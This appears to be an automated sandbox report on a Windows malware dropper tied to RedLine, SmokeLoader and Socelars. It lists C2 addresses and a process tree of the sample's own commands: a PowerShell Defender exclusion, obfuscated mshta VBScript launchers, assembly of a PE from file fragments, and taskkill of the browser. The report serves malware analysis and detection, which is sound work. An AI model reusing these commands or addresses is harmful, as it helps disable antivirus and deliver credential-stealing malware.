Overview

overview

10

Static

static

01a53007f9...68.exe

windows7_x64

10

01a53007f9...68.exe

windows10_x64

10

022e3c30a1...66.exe

windows7_x64

10

022e3c30a1...66.exe

windows10_x64

10

02ca2b5bb7...35.exe

windows7_x64

10

02ca2b5bb7...35.exe

windows10_x64

10

0d69cafe70...cd.exe

windows7_x64

10

0d69cafe70...cd.exe

windows10_x64

10

0df647f0a2...bc.exe

windows7_x64

10

0df647f0a2...bc.exe

windows10_x64

10

1df367eead...2c.exe

windows7_x64

10

1df367eead...2c.exe

windows10_x64

10

1e083736ae...33.exe

windows7_x64

10

1e083736ae...33.exe

windows10_x64

10

1e662d9025...7d.exe

windows7_x64

10

1e662d9025...7d.exe

windows10_x64

10

2010009ff5...59.exe

windows7_x64

10

2010009ff5...59.exe

windows10_x64

10

243379992d...93.exe

windows7_x64

10

243379992d...93.exe

windows10_x64

10

2d63a14e4a...1a.exe

windows7_x64

10

2d63a14e4a...1a.exe

windows10_x64

10

30e6815ae0...51.exe

windows7_x64

1

30e6815ae0...51.exe

windows10_x64

1

364d3b0e94...fa.exe

windows7_x64

10

364d3b0e94...fa.exe

windows10_x64

10

3a4e2dfbd7...00.exe

windows7_x64

10

3a4e2dfbd7...00.exe

windows10_x64

10

4a4a606501...75.exe

windows7_x64

10

4a4a606501...75.exe

windows10_x64

10

4d89b00768...c0.exe

windows7_x64

10

4d89b00768...c0.exe

windows10_x64

10

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

  • max time kernel
    169s
  • max time network
    188s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    09-11-2021 13:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cd.exe

  • Size

    5.6MB

  • MD5

    a121db3e0809289a5c41c44958ff6fa0

  • SHA1

    fd40bbe6eaeea4004046f65a8c647fabb35e1742

  • SHA256

    0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cd

  • SHA512

    0e4af224ea67c07bdce0bae3b4040d900e2c011557ef55d8d0e68d596826561a8d4f3b553cc3290cf60e87ccee975deb65c1de9553fabfee5f67268935d8081f

Score
10/10
redlinesmokeloadersocelarssheaspackv2backdoordiscoveryevasioninfostealerspywarestealertrojan

Malware Config

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/
rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 24 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:868
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:2568
    • C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cd.exe
      "C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cd.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1620
        • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1860
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1652
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:928
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Fri20109b9e174d0fc.exe
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1400
            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20109b9e174d0fc.exe
              Fri20109b9e174d0fc.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1156
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Fri20ee0a6fe195bd09.exe
            4⤵
            • Loads dropped DLL
            PID:1808
            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ee0a6fe195bd09.exe
              Fri20ee0a6fe195bd09.exe
              5⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:1424
              • C:\Users\Admin\Pictures\Adobe Films\5qLa2kIQmDmLcQMudhICdayZ.exe
                "C:\Users\Admin\Pictures\Adobe Films\5qLa2kIQmDmLcQMudhICdayZ.exe"
                6⤵
                • Executes dropped EXE
                PID:1832
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1424 -s 628
                6⤵
                • Program crash
                • Suspicious behavior: GetForegroundWindowSpam
                PID:1488
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Fri2050293ea5.exe
            4⤵
            • Loads dropped DLL
            PID:1952
            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri2050293ea5.exe
              Fri2050293ea5.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks SCSI registry key(s)
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              PID:892
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Fri209f6924af86d795.exe /mixone
            4⤵
            • Loads dropped DLL
            PID:2016
            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri209f6924af86d795.exe
              Fri209f6924af86d795.exe /mixone
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: GetForegroundWindowSpam
              PID:560
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Fri20ba391d4469.exe
            4⤵
            • Loads dropped DLL
            PID:1692
            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ba391d4469.exe
              Fri20ba391d4469.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1788
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell"). RUN ( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ba391d4469.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF """" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ba391d4469.exe"" ) do taskkill /f /IM ""%~NxA"" " , 0 , true ) )
                6⤵
                  PID:2236
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ba391d4469.exe" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF "" == "" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20ba391d4469.exe" ) do taskkill /f /IM "%~NxA"
                    7⤵
                      PID:2796
                      • C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe
                        EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3
                        8⤵
                        • Executes dropped EXE
                        PID:1976
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell"). RUN ( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF ""/pkrs9YKWRf3sVprfXBE2vA2Yg3 "" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" ) do taskkill /f /IM ""%~NxA"" " , 0 , true ) )
                          9⤵
                            PID:2092
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF "/pkrs9YKWRf3sVprfXBE2vA2Yg3 " == "" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" ) do taskkill /f /IM "%~NxA"
                              10⤵
                                PID:2348
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" VbsCript:CloSE ( CreAtEoBjEct ( "WscRiPt.ShElL" ). RUN ( "C:\Windows\system32\cmd.exe /R eCHo | sET /P = ""MZ"" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W + pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT + lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ " , 0 , tRUE ) )
                              9⤵
                                PID:1360
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /R eCHo | sET /P = "MZ" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W + pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT + lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ
                                  10⤵
                                    PID:2912
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>nQBnLF9A.W"
                                      11⤵
                                        PID:1356
                                      • C:\Windows\SysWOW64\msiexec.exe
                                        msiexec /Y .\6~iPCLZ.rJ
                                        11⤵
                                          PID:2124
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                          11⤵
                                            PID:1340
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill /f /IM "Fri20ba391d4469.exe"
                                      8⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1716
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Fri2002ce5f91c761.exe
                              4⤵
                              • Loads dropped DLL
                              PID:1548
                              • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri2002ce5f91c761.exe
                                Fri2002ce5f91c761.exe
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of AdjustPrivilegeToken
                                PID:976
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Fri20c0c46650eeb2a.exe
                              4⤵
                              • Loads dropped DLL
                              PID:572
                              • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20c0c46650eeb2a.exe
                                Fri20c0c46650eeb2a.exe
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:2056
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Fri209c4b463b.exe
                              4⤵
                                PID:1332
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Fri20e095683c2b3a0c.exe
                                4⤵
                                • Loads dropped DLL
                                PID:2080
                                • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20e095683c2b3a0c.exe
                                  Fri20e095683c2b3a0c.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2192
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Fri20fbc038b0b02ea.exe
                                4⤵
                                • Loads dropped DLL
                                PID:1352
                                • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20fbc038b0b02ea.exe
                                  Fri20fbc038b0b02ea.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of SetThreadContext
                                  PID:2144
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20fbc038b0b02ea.exe
                                    C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20fbc038b0b02ea.exe
                                    6⤵
                                    • Executes dropped EXE
                                    PID:2492
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Fri209d5bfbb2.exe
                                4⤵
                                • Loads dropped DLL
                                PID:2136
                                • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri209d5bfbb2.exe
                                  Fri209d5bfbb2.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Checks computer location settings
                                  • Loads dropped DLL
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2220
                                  • C:\Users\Admin\Pictures\Adobe Films\5qLa2kIQmDmLcQMudhICdayZ.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\5qLa2kIQmDmLcQMudhICdayZ.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:2232
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1520
                                    6⤵
                                    • Program crash
                                    • Suspicious behavior: GetForegroundWindowSpam
                                    PID:2200
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Fri2060ea1c5d8fae8aa.exe
                                4⤵
                                • Loads dropped DLL
                                PID:2168
                                • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri2060ea1c5d8fae8aa.exe
                                  Fri2060ea1c5d8fae8aa.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2336
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c taskkill /f /im chrome.exe
                                    6⤵
                                      PID:2996
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im chrome.exe
                                        7⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:956
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri208f5f140853548.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1748
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri20d5530575e8aa3ed.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1292
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri200ae385720d3.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:916
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 484
                                  4⤵
                                  • Program crash
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: GetForegroundWindowSpam
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2540
                          • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri200ae385720d3.exe
                            Fri200ae385720d3.exe
                            1⤵
                            • Executes dropped EXE
                            PID:1092
                          • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20d5530575e8aa3ed.exe
                            Fri20d5530575e8aa3ed.exe
                            1⤵
                              PID:2024
                              • C:\Users\Admin\AppData\Local\Temp\is-2FKQ6.tmp\Fri20d5530575e8aa3ed.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-2FKQ6.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$101B8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20d5530575e8aa3ed.exe"
                                2⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:2296
                                • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20d5530575e8aa3ed.exe
                                  "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20d5530575e8aa3ed.exe" /SILENT
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:2464
                                  • C:\Users\Admin\AppData\Local\Temp\is-I1Q6O.tmp\Fri20d5530575e8aa3ed.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-I1Q6O.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$5012E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri20d5530575e8aa3ed.exe" /SILENT
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious behavior: GetForegroundWindowSpam
                                    PID:2580
                            • C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri208f5f140853548.exe
                              Fri208f5f140853548.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2120
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri208f5f140853548.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri208f5f140853548.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                2⤵
                                  PID:2272
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri208f5f140853548.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4566D596\Fri208f5f140853548.exe" ) do taskkill /F -Im "%~NxU"
                                    3⤵
                                      PID:2804
                                      • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                        09xU.EXE -pPtzyIkqLZoCarb5ew
                                        4⤵
                                        • Executes dropped EXE
                                        PID:2928
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                          5⤵
                                            PID:3040
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                              6⤵
                                                PID:1752
                                            • C:\Windows\SysWOW64\mshta.exe
                                              "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                              5⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              PID:2024
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                                6⤵
                                                  PID:2212
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                    7⤵
                                                      PID:2972
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                      7⤵
                                                        PID:2664
                                                      • C:\Windows\SysWOW64\control.exe
                                                        control .\R6f7sE.I
                                                        7⤵
                                                          PID:1552
                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                            "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                            8⤵
                                                              PID:2984
                                                              • C:\Windows\system32\RunDll32.exe
                                                                C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                9⤵
                                                                  PID:2384
                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                                    10⤵
                                                                      PID:2820
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /F -Im "Fri208f5f140853548.exe"
                                                          4⤵
                                                          • Kills process with taskkill
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2952
                                                  • C:\Windows\system32\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                    1⤵
                                                    • Process spawned unexpected child process
                                                    PID:1764
                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                      2⤵
                                                      • Modifies registry class
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2664

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/560-233-0x0000000000240000-0x0000000000289000-memory.dmp

                                                    Filesize

                                                    292KB

                                                    Download

                                                  • memory/560-243-0x0000000000400000-0x00000000016D5000-memory.dmp

                                                    Filesize

                                                    18.8MB

                                                    Download

                                                  • memory/560-184-0x00000000018A0000-0x00000000018C9000-memory.dmp

                                                    Filesize

                                                    164KB

                                                    Download

                                                  • memory/860-55-0x0000000076351000-0x0000000076353000-memory.dmp

                                                    Filesize

                                                    8KB

                                                    Download

                                                  • memory/868-314-0x00000000007F0000-0x000000000083D000-memory.dmp

                                                    Filesize

                                                    308KB

                                                    Download

                                                  • memory/868-316-0x00000000022A0000-0x0000000002312000-memory.dmp

                                                    Filesize

                                                    456KB

                                                    Download

                                                  • memory/892-224-0x0000000000400000-0x00000000016BC000-memory.dmp

                                                    Filesize

                                                    18.7MB

                                                    Download

                                                  • memory/892-223-0x0000000000240000-0x0000000000249000-memory.dmp

                                                    Filesize

                                                    36KB

                                                    Download

                                                  • memory/892-162-0x0000000001790000-0x00000000017A0000-memory.dmp

                                                    Filesize

                                                    64KB

                                                    Download

                                                  • memory/928-245-0x0000000002240000-0x0000000002E8A000-memory.dmp

                                                    Filesize

                                                    12.3MB

                                                    Download

                                                  • memory/928-257-0x0000000002240000-0x0000000002E8A000-memory.dmp

                                                    Filesize

                                                    12.3MB

                                                    Download

                                                  • memory/928-266-0x0000000002240000-0x0000000002E8A000-memory.dmp

                                                    Filesize

                                                    12.3MB

                                                    Download

                                                  • memory/976-227-0x00000000004E0000-0x00000000004E1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/976-213-0x0000000001100000-0x0000000001101000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/976-256-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/1212-268-0x00000000029B0000-0x00000000029C6000-memory.dmp

                                                    Filesize

                                                    88KB

                                                    Download

                                                  • memory/1424-278-0x0000000003E80000-0x0000000003FCC000-memory.dmp

                                                    Filesize

                                                    1.3MB

                                                    Download

                                                  • memory/1488-322-0x0000000000210000-0x0000000000278000-memory.dmp

                                                    Filesize

                                                    416KB

                                                    Download

                                                  • memory/1860-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                                    Filesize

                                                    100KB

                                                    Download

                                                  • memory/1860-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                    Filesize

                                                    572KB

                                                    Download

                                                  • memory/1860-92-0x0000000064940000-0x0000000064959000-memory.dmp

                                                    Filesize

                                                    100KB

                                                    Download

                                                  • memory/1860-95-0x0000000064940000-0x0000000064959000-memory.dmp

                                                    Filesize

                                                    100KB

                                                    Download

                                                  • memory/1860-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                    Download

                                                  • memory/1860-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                    Download

                                                  • memory/1860-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                    Filesize

                                                    572KB

                                                    Download

                                                  • memory/1860-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                    Download

                                                  • memory/1860-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                    Download

                                                  • memory/1860-99-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                    Filesize

                                                    1.5MB

                                                    Download

                                                  • memory/1860-98-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                    Filesize

                                                    572KB

                                                    Download

                                                  • memory/1860-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                    Filesize

                                                    572KB

                                                    Download

                                                  • memory/1860-97-0x0000000064940000-0x0000000064959000-memory.dmp

                                                    Filesize

                                                    100KB

                                                    Download

                                                  • memory/1860-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                    Filesize

                                                    152KB

                                                    Download

                                                  • memory/1860-93-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                    Filesize

                                                    152KB

                                                    Download

                                                  • memory/2024-196-0x0000000000400000-0x0000000000414000-memory.dmp

                                                    Filesize

